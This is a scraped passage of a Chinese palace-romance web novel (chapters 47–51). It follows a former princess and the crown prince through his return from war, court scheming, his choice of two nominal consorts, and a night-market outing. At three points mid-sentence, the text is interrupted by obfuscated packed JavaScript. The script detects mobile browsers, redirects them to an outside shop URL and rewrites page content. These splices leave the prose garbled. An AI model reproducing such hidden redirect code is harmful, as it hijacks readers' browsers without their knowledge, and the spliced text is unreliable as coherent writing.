光阴迅速,转眼春暖花开,飞山宫里一夜间群芳盛开,桃花,海棠,玉兰,再加上盘旋飞舞的蝴蝶,使得古朴庄严的宫殿都鲜活了几分。 这一日,日头正好,萧沅莹拿了一本书坐在一棵海棠树下,心不在焉地看着,日影斑驳,偶有花瓣飘落,思绪也不知飞到了哪里。 绿芜和细香她们正在逗着鹦鹉玩,萧沅莹不太理会它,也不给它起名,绿芜她们便随口叫它雪团。 因萧沅莹不太说话,这雪团只学下人们说话,一会儿说“公主,公主。”,一时又说“给公主倒茶。” 萧沅莹在一旁看着,也觉好笑,又低头看了几页书,再抬头时,院子里却没了人影,不由纳闷,起身四下一望,正见院门口站了一人。 玉冠束发,一身梅花方胜纹宫锦窄袖袍,腰悬红鞓玉銙带,脚穿皂靴,英姿挺拔,目光深?,不是凌唯州是谁? 萧沅莹浑身的血仿佛凝住了,下意识地想要揉揉眼睛,却动不了半分,只见凌唯州缓步走了过来,笑道:“这扁毛畜生怎么还叫公主,该改口叫太子妃了。” 萧沅莹不语,缓缓转身,上了台阶,急步回屋,一个反手便要关门,可惜却快不过凌唯州,他一只手臂轻而易举抵在门上,闪身而入,关上房门。 萧沅莹心咚咚直跳,看凌唯州面上没什么表情,神色淡淡的,只觉难堪,便没话找话道:“你何时回来的?” 凌唯州不语,慢慢走向萧沅莹。 萧沅莹不由自主地往后退,他进一步,她退一步,直到抵在案上,退无可退。 面前之人好似又硬朗高大了些,身上没来由的,多了一股杀气,令萧沅莹心颤。 正犹疑时,面前之人忽而将她抱住,下一瞬嘴也被封住。 萧沅莹气极,用力推了他一把,凌唯州“哎呦”一声,捂了胸口,倒在地上。 萧沅莹一惊,吓得花容失色,连忙扶他道:“你这是怎么了,碰不得了?” 凌唯州道:“这里受了箭伤,你要谋杀亲夫不成?” 萧沅莹听说,吓了一跳,急忙扯开他的衣衫,果见左肩上绑了白布,有血渗出,不由心疼。 48. 第 48 章 萧沅莹凡事总爱往坏处想。 她设想过和凌唯州再见的情形。 冷脸相对,互相厌憎,甚至永不相见。 唯独没想过会是这样的缠绵亲吻。 一走数月,连个口信也无,就这样揭过去了? 在他心里,自己就轻贱至此? 一阵酸涩溢上心头,数月的彷徨憋闷找不到宣泄之处,此时俱汇集在双臂上。 萧沅莹偏头,双手用力一推。 “诶......嘶......” 凌唯州被推得后退一步,竟手捂胸口,弯腰拧眉,表情痛苦起来。 萧沅莹吓了一跳,看了看仍停在半空的双手,心道:这人何时这样脆弱了,又搞什么名堂。 糟了,刚从战场上回来,不会是受伤了吧。 萧沅莹忙扶了凌唯州在椅上坐下,解开他的前襟,果见从左肩至右腋,包扎了厚厚的麻布,不由立时红了眼眶,十分懊悔方才使了十二分的力气。 “你觉得怎样,要不要召太医?” 凌唯州摆摆手,眉头舒展开来,恰如拨云见月,令人眼前一亮。 “不用,我躺一躺就好。”凌唯州说着起身,示意萧沅莹扶自己到床上。 萧沅莹不想留他,却又心软不好开口,只得扶他进了寝殿,心里不由腹诽:又不是伤了脚,还让扶,那么大一个床看不到么。 及至到了床边,凌唯州又抬起胳膊。 萧沅莹欲待不理,看到那厚厚的麻布,终究叹了口气,替他除了外袍。 凌唯州自脱了靴子,掀被上床,双臂枕于脑后,眼带笑意道:“阿沅,来陪我躺一躺。” 萧沅莹啐他一口道:“看你哪像受伤的样子,又骗人!” 转身出了屋。 外面的日头有些晃眼,一群鸟雀扑棱棱地飞起,落在树上,转动着小眼珠到处瞅。 绿芜轻快地小跑过来,行礼道:“公主,哦不,太子妃娘娘,奴婢该死,齐嬷嬷说,再不改口,便要打嘴了,齐嬷嬷让奴婢来问问,太子殿下来,晌午多备几个菜,问您想吃什么。” 萧沅莹本就心绪不宁,听到“太子妃”三个字,更是烦乱,只随口道:“并没有什么想吃的,只比照平时便可,他一个人能吃多少。” 绿芜听了,喜意慢慢敛去,屈膝应是,一步三回头地走了。 到了厨房,见齐嬷嬷正埋着头,干劲十足地洗、切、炒、烹,不由泄气道:“嬷嬷,太子妃说了,没有什么想吃的,您别忙了。” 齐嬷嬷也不回头,仿佛早料到了似的,边咣咣切菜边说道:“丫头,别丧着脸,干好自己该干的事,太子殿下亏待不了咱们。” “真的?”绿芜扬起脸来,“我不是担心自己啊,我是担心公主,不,太子妃娘娘,总住在这偏宫里,何时是个头啊!” “你们小孩子家,就是沉不住气。”齐嬷嬷手上不停,“偏宫又如何,对一个人好,不一定非要表露在明处,太子和太子妃啊,都正是最难的时候,但总有云开雾散的一天,到时你们几个怕不是掌事姑姑了,快,添把火!” “好嘞,齐嬷嬷!” 萧沅莹不想回屋,又在海棠树下坐了片刻,那书放在膝上,翻出去几页,又倒回来,一个字也没看进去。 见日头渐渐升高,绿芜连问是否摆饭,只得气冲冲进屋,想问问凌唯州要躺到何时。 不料进得屋内,安静无声,床上之人规规矩矩地躺着,居然是睡着了。 光影从菱花格透进来,照得床上、地上斑驳不一。 凌唯州面容半隐在床帐内,俊美安宁的仿若画中人一般。 自住进这飞山宫,清冷孤寂。 萧沅莹还是第一次感受到日光的暖意,融融的照在脸上,竟让她有了些许困意,不由脱了外衫,轻手轻脚在凌唯州身边躺下,不一会儿便进入了梦乡。 这许是自萧承死后,萧沅莹睡得最安稳,最舒服的一觉了。 踏实,无梦。醒来时,天色已暗下来。 凌唯州温暖有力的胳膊搭在了她的腰间。 萧沅莹推了推,手却被握住。 “你醒了?” “嗯。” “四个月了,我直到今日才睡了个安稳觉。”凌唯州凑到萧沅莹的脖颈处,舒服地喟叹一声:“终于闻到你身上的清香了,再不来,我也要疯了。” 萧沅莹觉得脖子痒痒的,便翻了个身,低声道:“既醒了,便走吧,又何苦说这些。” 凌唯州再次凑上来,从后面紧紧搂了她,轻声道:“阿沅,委屈你了,征讨恒德的这几个月,我没有一日不惦念你,有心写信,又怕多生事端,好在仗打赢了,老头子也终于松口了。” “松口了?”萧沅莹心里一跳,回身望向凌唯州。 前日凌唯州负气而走,老皇帝或许是知道自己失了言,半夜又寻了来,半是歉意半是哄劝道:“为父白日说的那些都是气话,这天下是你打下的,朕岂能传给别人,州儿,你要知道,帝王没有儿女私情,没有七情六欲,你喜欢的人和物,是敌人眼里致命的弱点,是递到别人手里的刀,太子妃之位你非要给萧氏也不是不可以,但有个条件,朕从高门贵女中选两个给你做良娣,皇长孙也须得由她们来诞育,朕可不想我大凉朝的第一个皇孙,流有他萧氏的血。” “太子位和太子妃位到手,咱们两个的处境却更艰难了。”凌唯州近在眼前,声音却有些缥缈。 “为何这么说?”萧沅莹很少见到凌唯州有为难的时候,他总是一副胸有成略,胜券在握的样子,不禁替他担心起来。 “你觉得这世上最厉害的武器是什么?”凌唯州突然转了话茬。 萧沅莹不解其意,下意识回答道:“弩箭?” 凌唯州摇头。 “长枪?宝剑?” “是舌头。”凌唯州的声音带了一丝冷意,“三两言不动声色的诋毁,五六句似是而非的污蔑,便能让父皇对一个人怀疑、厌恶,乃至起杀心。” “你是说谁?” “廖以章,他已经往死里得罪你了,我既不肯另娶,便与你是一体,他已经怕了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924335|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕我以后即了位,报复清算他,他肯定是要给自己找后路的。” “他和你父皇既是君臣,又是密友,他想说什么可是防不胜防,这可怎么办好呢。” “不用担心。”凌唯州冷哼一声道:“他能递谗言,我也能吹风,父皇的枕边人那么多,还怕没有同道的。” “你要贿赂皇上身边的嫔妃?”萧沅莹睁大眼睛,“你甘心做这种事?” “这有什么,与小人斗,得比他们更阴险,更狡诈,不然,这不肯做,那不屑干,哪天祸事临头了,怎么护你?” 夜晚将屋内最后一丝光线吞没。 萧沅莹眼前蓦地一片昏暗,只觉出凌唯州修长有力的手指滑过她的腰际,引来一阵颤栗,又来解她里衣的带子。 “你不饿么。”萧沅莹不想做那欲拒还迎的挣扎,企图以言语阻止他,“我也没用午膳,不如先起来吃些东西?” 凌唯州手上一顿,继而低低笑起来。 “阿沅是怕我没有力气,你放心,保证让你满意。” “不是……”萧沅莹脸红得烧炭一样,幸而天黑看不见,“我何时有那个意思了,你怎么乱说?” “哪个意思?”凌唯州手上不停,将仅有的衣衫都剥了,“你没听过‘秀色可餐’,有你在我还吃什么饭。” 月上柳梢,乌云遮月,云散雨收。 两人极尽缠绵,深深恩爱,直折腾到夜半时分。 萧沅莹实在没有力气了,眼睛都要睁不开,凌唯州才放开她,抱她去洗浴,擦头发穿衣,又命齐嬷嬷等人做些夜宵。 萧沅莹披着头发,只穿了一件寝衣,坐在桌前,虽然饿得肚子都瘪了,却只低着头喝粥。 她觉得自己的脸是丢尽了,折腾这么晚不说,还累得齐嬷嬷等人睡不成觉,她们怎么猜不出自己做了什么。 做就做了,夫妻敦伦,人之常情,但哪有这么晚的。 自己可是从来没有半夜折腾过下人。 萧沅莹狠狠瞪了凌唯州一眼。 凌唯州却是无辜,坦然回视,眼神清澈,甚至带了一点疑惑,似是弄不懂萧沅莹为何不开心。 “你为何不吃,虽是晚了,也不能饿着肚子,吃些菜无妨。”凌唯州说着往萧沅莹碗里加菜。 “你吃你的,我去睡了。”萧沅莹被他的装模作样气得眼前一黑,也不理他,自回了寝殿上床躺下。 凌唯州暗乐,也放下筷子,重新洗漱了,也跟着进来,搂了萧沅莹道:“你害羞什么,齐嬷嬷她们见咱们恩爱,只有高兴的,哪会笑话你。” “老实睡觉吧。”萧沅莹将凌唯州的手甩开,闭上眼睛。 “唉。”凌唯州没再纠缠,双臂枕于脑后,望着床顶发起呆来。 萧沅莹听着没了动静,回头一看,不由纳闷:“你这是怎么了,不开心?” “没有。”凌唯州道:“忽然有些感叹,我母亲在的时候,父亲对她是百依百顺,捧手里怕摔了,含嘴里怕化了,一不敢纳妾,二不敢寻花,没想到,这到京城才几天,儿子都要有两个了。” 49. 第 49 章 萧沅莹不知凌唯州为何突然提起凌文山,想了想道:“或许是在北幽的时候,处处都是你母亲留下的痕迹,触景生情,睹物思人,也就没了寻欢的心思。京城就不一样了,大到宅院,小到桌椅都是簇新的,摆脱了过去的羁绊,又有个能干的儿子打江山,可不就放纵了。” “我倒不知你是在夸我,还是在讽刺我。”凌唯州失笑,又道:“不过你说的也有道理,之前在淮风城的住所,床榻桌椅,一草一木,都是母亲置办的,她走了,父亲连个茶碗都没换过,他思念了这么多年,也算难得。” “那你呢?”萧沅莹盯着凌唯州的眼睛笑道:“东宫的规制是良娣二人,良媛六人,还有昭训奉仪什么的,你打算纳几个?” 凌唯州一怔,作势想了想道:“既有规制,那便按规制来,规制是二十四人,那便二十四人好了,我不多要。” 萧沅莹闻言慢慢收了笑容,哼了一声,翻了个身闭上眼睛。 凌唯州笑笑,将萧沅莹散在枕上的黑发慢慢收拢顺直,轻声道:“睡吧,走一步看一步,事情总得一件一件解决。” 萧沅莹不语。 隔了好一会儿,凌唯州都要朦胧入睡时,又听她扔下一句:“我不耐烦管你那些嫔妾,我就留在飞山宫,哪也不去。” 京都的初夏应是一年当中最好的时节,天气还不热,蚊虫也还没有,微风拂面,绿柳婆娑。 大凉新朝初立,政事逐渐顺畅,藩镇也大多归附,只有何太后缩居池州,不足为患。 皇帝春风得意,宴请百官,又命后宫也办一场宫宴以示荣宠。 因后宫无主,只有几个低位份的嫔妃,宫宴便交给了凌霜和正受宠的吕美人。 皇帝上月初册封了太子和太子妃,隔了几日又下旨封凌霜为宜城公主,食邑千户。 凌霜和吕美人商量后,将宫宴设在了云居湖旁的清风榭里。 云居湖岸边花草树木繁多,假山楼台相映,环境清幽。 命妇太太们可以在水榭里说话喝茶。 水榭外亦可摆上矮桌蒲团,条案笔墨,姑娘小姐们便可赏景谈天,下棋作画,调皮的还可以钓钓鱼。 宴会这一日,天公作美,风和日丽,蝶舞莺啼。 巳时刚过,宫女内侍们刚刚摆好瓜果茶点,大凉的贵妇小姐们便到了。 说到这些新贵,无非是两拨人,一拨是追随凌文山父子起兵的有功之臣,有文有武,都被封了爵位。 另一拨便是萧梁旧臣归附而来,凌文山拣着有名望有学识的,也都封了官。 今日来的小姐们中,比较出挑的,便是成国公家的二姑娘赵洛如,寿宁侯家的五姑娘秦淑燕,还有两个文官家的女孩儿,一个叫贺兰敏,一个叫宋玉芝。 因宜城公主和吕美人未到,众人互相见礼过后,便三三两两的聚在一起闲聊。 湖边的垂柳之下,几个未出阁的小姐们或坐或站,也正说得热闹。 都正是十八、九岁的美好年华,有的清丽如兰,有的美艳似莲,莺莺燕燕,红飞翠舞。 这其中成国公家的赵二姑娘赵洛如身份最尊,性格也活泼,她头戴白玉簪,身着雪青色上襦,笑向众人道:“几位姐姐可知道今日这宫宴是为何而办?” 她这忽而一问,其余诸人脸上都掠过一丝诧异,好似没想到她会说出来,却没人应声,有的侧首挽发,有的低头微笑,有的神情落寞。 “还能是为何,新朝初立,有新臣,有旧将,在皇家的宴席上熟识了,好一起为朝廷效力呗!” 说话的是寿宁侯家的秦五姑娘秦淑燕,她是个身形娇小的女孩,杏眼桃腮,举止间傲气十足。 赵洛如扑哧一笑道:“秦妹妹何必说这些官话,难不成你还想争那良娣之位,为了什么大家都心知肚明。” 秦淑燕脸一红,哼了一声扭了头。 话既说开,众贵女们也不再端着,半是打探半是好奇地议论起来。 “听说太子妃是前朝公主,自己的家国被灭了,兄长也死了,她却来做新朝的太子妃?” “她是早两年嫁给太子的,不过听说太子不怎么喜欢她,在北幽淮风的时候,从没见太子带她出来过,也不知她长什么样。” “那许是不得宠吧,也是,当时萧氏朝廷一个劲儿地打压藩镇,不把气撒她身上就是仁慈了,谁还会喜欢她。” “可皇上还是把太子妃位留给了她,听说,她连册封典礼都没去,也不知高傲个什么劲儿。” “皇上和太子殿下还是太心善了,娶前朝公主的事例也不是没有,但那得是极出色极聪慧的,不知这位怎样。” “谁知道呢,只是她已占了这太子妃之位,今日只能是……唉!” “有什么不好意思说的。”赵洛如听众人谈论了半天,却说不到要领上,早已不耐烦:“我是不会应选那良娣之位的,太子殿下虽身份高贵,我娘却舍不得我做小。” “呵呵。”这次轮到秦淑燕轻笑了:“姐姐,莫要口是心非了,嫁到皇家怎能说是做小呢,那可是实打实的前程和富贵,即便是姐姐不稀罕,也难保你父兄不动心。” “我父兄和我一个意思,不劳你费心。”赵洛如道:“你想去便去,别捎带我们。” “你们?”秦淑燕好笑,指了指一直默默无语的贺兰敏和宋玉芝道:“别人我不敢说,这两位姐姐品貌不错,肯定要争一争的。” 贺兰敏和宋玉芝因自家身份较低,不便插话,见秦淑燕突然点到她们,不由有些难堪。 贺兰敏道:“我们来时并未听说什么,但想来皇家选妃,自有严格的考较,我们两个不敢肖想。” “嘁。”秦淑燕心道:还嘴硬说不知道,装模作样。 待要再说什么,猛听一个内侍高声道:“宜城公主到,吕美人到!” 榭内榭外的人听了神色都是一凛,忙起身站好。 凌霜和吕美人一前一后逶迤行来,进得榭内。 待众人跪拜了,凌霜方笑道:“咱大凉朝新立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977588|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,四境皆安,都是文武百官的功劳,也是诸位夫人小姐的荣耀,皇上命本宫和吕美人招待大家,大家千万不要拘束,吃好玩好才不负皇上的心意。” “是,多谢皇上,多谢公主。”众人又再次跪拜了,方各自落座,席间自是奉承客套不断。 “想那萧氏主政时,京城何等的贫瘠,多亏了皇上,收复京城,泽被万民,这才半年的光景,百姓的日子好了十倍不止。” “对对,皇上和公主太谦虚了,文武百官做事乃是本份,说到底还是皇上的决策英明,才有这份繁荣安定啊。” …… 凌霜微笑听着,耳朵里只觉聒噪,挥手命宫人上菜倒酒,又吩咐道:“奏乐歌舞。” “是。” 一时悠扬的乐声响起,十个身形苗条的舞姬翩翩起舞,盖住了贵妇们的吵闹。 凌霜向榭外看去,见零零散散的矮桌旁,十几个妙龄少女端庄而坐,目不斜视,桌上的菜肴几乎没动。 凌霜陪坐了一会儿,告了个方便,也不带下人,独自穿过一片牡丹丛,绕过一带假山,进了一处小阁。 阁内轩窗四起,凉风阵阵,吹得桌上的宣纸哗哗做响,案前坐了一人,却是凌唯州。 凌霜进门便道:“你倒清闲自在,我帮你打听了这许多,又操持宫宴,你怎么谢我?” “宫宴是老头子交给你的,如何也算在我头上?”凌唯州抬头,一本正经说道。 “闭嘴吧,以后不许叫老头子,背地里也不行。”凌霜在凌唯州对面坐下,又道:“你可真是我的好弟弟,上来出这么大一个难题,我可是费了好大的劲儿,府里的粗使婆子都派出去了,才打听了个七七八八,怎样,我打听的可还细致?” “尚可,倒有两个合适的。”凌唯州从一沓纸中抽出一张来,说道:“先见见这位吧。” 凌霜扫了一眼那纸上的名字,立时明白了凌唯州的用意,不由紧盯了他的眼睛道:“你真要这么做,不后悔?” “我做的事,哪件后悔过?”凌唯州眼梢微挑,带了一丝轻蔑与傲然。 “好吧。”凌霜微微有些失望,叹道:“我自然是盼望沅莹能开心的,不知你和父皇怎样想,我总是对她有愧,甚至不好意思见她,但你是我亲弟弟,我也不想你太委屈。” “何来委屈一说?”凌唯州纳闷。 “高门世族间都是盘根错节的关系,你不与他们联姻,必然要付出其他的利益与精力,我是怕你太辛苦。” “这个不用担心,联姻是最懒惰最懦弱的办法,只是安稳一时,还把隐忧留给下一代,我可不是懦夫。” 云居湖旁,众贵女们早发现宜城公主离了座位,迟迟不归,都暗自猜测是何原因。 赵洛如也不时地抬头张望,忽而看到一个小内侍匆匆走来,不由心提了起来。 却见那小内侍径自走来,问道:“哪位是贺兰姑娘?” 居然要传她?众贵女不约而同转头,齐齐刷刷地望向贺兰敏。 50. 第 50 章 小内侍走过来时,贺兰敏正魂游天外,甚至没有留心听那内侍说什么。 察觉到众人各色的目光射过来,才悚然一惊,慢慢起身。 “贺兰姑娘,公主有请。”小内侍做了个“请”的手势。 贺兰敏有些懵,腿却先一步做出了反应,低头离了席位,只觉后背凉飕飕麻酥酥,仿若针扎蚁咬。 众贵女看着贺兰敏的背影消失在花丛后,挺直的脊背都有些垮塌。 不应该呀,这贺兰敏有何出众之处? 容貌只是过得去,也未听闻过有甚才名,家世更不显。 “也许公主是要由低往高召见呢!” 不知是谁嘟囔了一句。 啊,对,就是这样。 众人的心思放下了些,面前的舞蹈却无心观看了。 谁想,不过一刻钟,贺兰敏便回来了,低头敛目,看不出喜忧。 送她回来的小内侍却又问道:“哪位是宋家姑娘?” 宋玉芝浑身哆嗦了一下,白着脸起身,跟在内侍身后走远。 “这宋家姐姐怎么像是要去赴刑场似的。” 众贵女议论几句,都在猜测着下一个会叫谁。 然而又是一刻钟后,宋玉芝是回来了,小内侍却没再出现。 这......就结束了? 众人心中不忿,却也疑惑贺兰敏和宋玉芝被请去到底是为何。 怎么这两人非但不见丝毫喜色,反而心事重重,神色低落。 尤其是宋玉芝,脸白得跟鬼一样。 贺兰敏偷偷瞧了一眼宋玉芝,恰宋玉芝也望了过来,两人眼神一碰又慌忙错开。 贺兰敏心想,不知这宋家姑娘是因何原因被选中,瞧这样子,似是比自己还要不堪。 心里叹息一声,耳边又响起太子那冰凉冷淡的声音。 “孤听说你和弟弟受继母苛待,艰难度日,举步维艰,孤可以给你良娣之位,让你风光无限,扬眉吐气,扶持幼弟,代价便是你嫁到东宫,只能是孤独一生,你可想好了。” 自己当时是怎么回的? “好。” 比起被继母胡乱安排婚事,幼弟冬天连个像样的棉衣也无,孤独一生算什么,不就是当个花瓶么,那也是有了地位和荣华富贵,最重要的是可以把那个恶毒的女人踩在脚下。太子殿下总会登基的,自己至少能得个妃位吧,想到有一天,那个女人会匍匐在自己脚下,贺兰敏便觉痛快不已,唇都不由自主地勾了勾。 贺兰敏暗自臆想,宋玉芝则更是庆幸不已。 她前两月回舅家小住,与表哥独处时,一时不慎犯了大错。 本来两人约好了禀明父母,结为夫妻,谁承想没几日表哥同好友到郊外爬山,不小心跌落悬崖,竟摔死了。 宋玉芝得知消息后如五雷轰顶,不知所措。 提心吊胆过了一段日子,她惊恐地发现,她的月信再没来过! 她实在不知该怎么办,又不敢告诉父母,本想今日回去了便一根麻绳了结了性命,万没想到竟有了转机。 方才一进门,宜城公主便开门见山道:“本宫府上新买的厨娘是你贴身丫鬟的姨母,所以知道了你的事,你若愿意,本宫帮你拿掉胎儿,遮掩了此事,只是你在东宫只能是有名无实了。” 谢天谢地,那一瞬间,宋玉芝甚至觉得公主和太子就是她的皇天菩萨! 别说是有名无实的良娣了,就是当个低等宫女,她也甘愿。 凌霜在宴会要结束时方返回清风榭,和贵妇太太们客套几句便各自散了。 隔了两日,宫里便传出了旨意,册封贺兰敏和宋玉芝为三品良娣,择日入东宫侍奉。 消息一出,京城哗然。 太子没有选择与高门勋贵联姻,只选了两个低品级的官宦之女,背后原因,却让人捉摸不透。 这一日政务不多,凌唯州到飞山宫的时候,才刚过酉时。 自局面稳定,他每日都要来这里过夜,很少留宿东宫。 天气渐热,日头正挂在房檐的一角,迟迟舍不得落下。 萧沅莹正带着自春和朱草收集晾晒在石桌上的花瓣。 见凌唯州走进来,两个丫鬟忙行礼退下。 萧沅莹却好似没看到他一般,只管将花瓣捧了,放进捣药罐里。 片片嫣红从一双欺霜赛雪的玉手中滑落,恰似红梅映雪,清艳绝伦。 凌唯放在一旁看了会儿,见萧沅莹又取了一张晒干的荷叶来,也撕碎了放进捣药罐里,杵成粉末,便问:“这又是做什么?” 萧沅莹瞅了他一眼道:“还能做什么,天儿马上热了,做些泡澡的浴粉,能清凉止痒。” “为何还要放干荷叶?”凌唯州认真请教道:“只这些花瓣便能止痒?我不信。” “自然不能只放这些花瓣,还要放零香草,藿香,甘松,白芷,都锉成粗末,分成小份,用苎布盛了,再煮沸,便可以了。”萧沅莹停了手,认真回答道:“干荷叶有消暑利湿,散瘀止血的功效,也常用来制药的,太子殿下怎会不知?” “你对我是越来越不耐烦了。”凌唯州脸上竟现出一丝失落,还煞有介事地叹了一口气,“我还不如留在东宫,虽则冷清,也好过受你的白眼。” 萧沅莹一听这话,险些笑出声来,一双美目凉凉地看过去,讥笑道:“你倒委屈上了,两个良娣陪你还不够,那只能等良媛进宫了,那肯定热闹。” “果然是因为这个。”凌唯州上前抓了萧沅莹的手腕,将她带在自己怀里,笑道:“你吃醋了?” “你真是疯了。” 凌唯州越凑越近,呼吸间清香与冷冽交缠,萧沅莹用力推了推他的胸膛,却丝毫不动,又去反抠他的手,嘴上也不示弱:“你放心,我这辈子都不会因为某个人吃醋,有那闲功夫,还不如多制些浴粉。” 凌唯州发笑,反手扣住萧沅莹的手,凑至她耳边将前因后果大概解释了,末了说道:“怎样,满意否?再敢对我冷言冷语,非让你知道我的厉害不可。” 萧沅莹只觉左边脸颊被轻轻捏了一下,方回过神来,努力回想了一下凌唯州方才说了什么,却犹恐听错了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13024988|123163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “你是说,你只是为了应付你父亲,不会真娶她们?” 凌唯州点头。 “你......何必这样,你毕竟是太子,我也没那么小气。” “哦?”凌唯州眼神戏谑,笑道:“你不小气,但是你口是心非。” 萧沅莹脸有些烧,眼角余光扫见绿芜在院门口张望,忙推开凌唯州道:“别在院子里拉拉扯扯了,我去看看晚膳备了什么。” “不用备膳了,今日高兴,咱们出去逛逛,看见什么吃什么如何?” “去哪?”萧沅莹低头看了看再次被扣住的手腕,疑惑道:“天都要黑了。” “你不会还没见过京城的夜市吧,走,夫君带你去见识。” 从飞山宫出来,经过一段人烟稀少的宫道,再越过一道石桥,繁华夜市的市井与烟火之气便遥遥在望了。 戌时的京城仍是灯火辉煌,喧嚷热闹。 眼前是衣饰华丽的俊男美女,耳旁是各色小贩的叫卖,闻到的则是花朵与食物的香气。 萧沅莹吃了狮子糖、肉脯,尝了荔枝膏、冷丸子,凉得牙颤,还买了一堆杂书、纸画,逛得汗都沁出来了,但总觉得这一晚上并不真实,思绪都是飘的,脚也像是踩在棉花上。 凌唯州竟然说他不会再娶任何人。 这承诺有几分真,几分假。 又能维系多久。 他登基的时候吗? 毕竟还没听说有哪个皇帝只有一个妻子的。 凌唯州很有兴致,又拉着萧沅莹去看杂戏,听评书。 萧沅莹仍是飘忽忽的,词一字不落地听了,却全然不知讲得什么。 末了心想,就这样吧,皇兄给自己选得这条路,定然是最好走的。 他灯尽油枯之时,迟迟不肯断气,就为了叮嘱自己,自己又怎能辜负他呢。 萧沅莹和凌唯州从瓦子里出来,正要回去时,却听身后一道惊喜的女声传来:“公主,是您吗?” 萧沅莹回头,见是一对年轻男女,男的瘦削高大,女的玲珑高挑,戴着面纱,仔细一看,竟是曲宁与商喜。 “商喜,是你?”萧沅莹挥手让拦住两人的暗卫退下,走近了说道:“真的是你们,听说你们留在了宁阳,我还以为再不得见呢!” 两人向萧沅莹行礼,商喜高兴道:“公主,哦不,奴婢是不是应改口叫太子妃了。” 萧沅莹温和一笑道:“无妨,你不要再自称奴婢了。” “是,太子妃娘娘,当时在宁阳城,曲宁听从太子殿下的安排,留在那里做了个校尉,这一留便是半年多,这次回来是告假省亲,没想到在这里遇到您。” “原来是这样。”萧沅莹瞅了瞅凌唯州,有心替曲宁和商喜求个情,将他们调回京城,却见他冷漠地望向一边,并不打算接话,只得先罢了。 “那你们先在宁阳好好当差,若有难处,便去飞山宫寻我。” “不敢劳烦您,今日能见太子妃一面,已十分荣幸了,方才一时高兴,失口出声,十分失礼,奴婢这便退下了。” 51. 第 51 章 曲宁和商喜走后,萧沅莹嗔怪凌唯州道:“方才冲你使眼色,做什么装看不到,他们二人也算历经磨难,人品才干也还不错吧,为何不让他们留在京城,你没看商喜那眼巴巴的样子,这也是你一句话的事。” 凌唯州不答,看着曲宁和商喜的背影消失在人群中,忽而反问道:“这个商喜是萧承找来的?” “对呀,为何又问这个?”萧沅莹目露疑惑。 “我只是好奇他会怎样安排这个和你长得极像的女子。” 萧沅莹一怔,思绪刹时又回到了那个极冷的初春,自己窝在温暖的勤政殿,帮萧承念奏折,读诗文。后来说起商喜的去处,皇兄是怎么说来着。 她是你的影子,你想用便用,不想用便不用,可以让她做个侍妾,但不要让她嫁给别人,不要让她随意出行,她和你长得太像了。 “他说……隔得太久,我忘了。” 萧沅莹哪好意思重复萧承的话,只推说忘了。 凌唯州轻笑一声,也不戳穿她,只道:“我若是萧承,定会嘱咐你将商喜雪藏,即便以后用不到,也不能让她四处招摇,算了,你已放她与曲宁成亲,就不说这个了,但回京城万万不行,就留在宁阳吧,这已经对她很是优遇了。” 凌唯州断然拒绝调曲宁和商喜回京,却没想到刚过了三天他便后悔了。 当时萧沅莹正坐在罗汉床上打棋谱玩,忽听在旁处理公文的凌唯州惊呼一句,“可惜可惜!” 忍不住问道:“可惜什么?” 凌唯州将一本奏折递给她道:“事关池州的小朝廷,你看看。” 萧沅莹接在手中,一目十行地看完,不由心惊。 原来是凌唯州派了大将张鹏霖攻打池州,以期统一南北。 其实池州许多军士早已无心打仗,只靠着城高池深维持着最后一道防线。 眼看着形势危急,有人劝何太后投降求和,何太后初时坚执不允,后来又突然改了主意,但提了个条件,要见萧沅莹一面,再谈议和。 “可惜那日没留下曲宁和商喜,不然倒可让她扮作你去池州,也省得让你涉险。”凌唯州惋惜道:“如今再追她回来,怕是来不及。” 萧沅莹睁大眼睛,有些无奈道:“你怎么会有这个念头,当初正是因为何太后看出了商喜是假的,我才回宫的,我跟你说过,你全然忘了?” 凌唯州一顿,用手中奏折拍了一下脑袋,懊恼道:“怪我,怪我,竟然忘了,也罢,和谈不成,便打吧!” 萧沅莹将手中奏折放回书案上,心内再起波澜,好心情跑了个精光。 凌唯州在旁察觉到了,将手中毛笔搁回笔架,正色道:“你若是想知道什么,或有什么不满,不妨直说。” 萧沅莹没想到凌唯州问得这样直白,抿了抿唇没说话。 凌唯州却不允她躲避,接着说道:“并不是我不留情面,非要斩草除根,萧梁已经是过往云烟,何太后立个傀儡小皇帝,强占池州,也不得人心,朝臣侍卫,还有宫人,无不思念京城,思念家人,甚至千方百计逃跑,被抓了便是死路一条。何太后衣食住行,穷奢极欲,入不敷出,便向百姓征收重税,池州的百姓也是人,我不能弃之不顾,这件事不能再拖了,不投降,便打!” 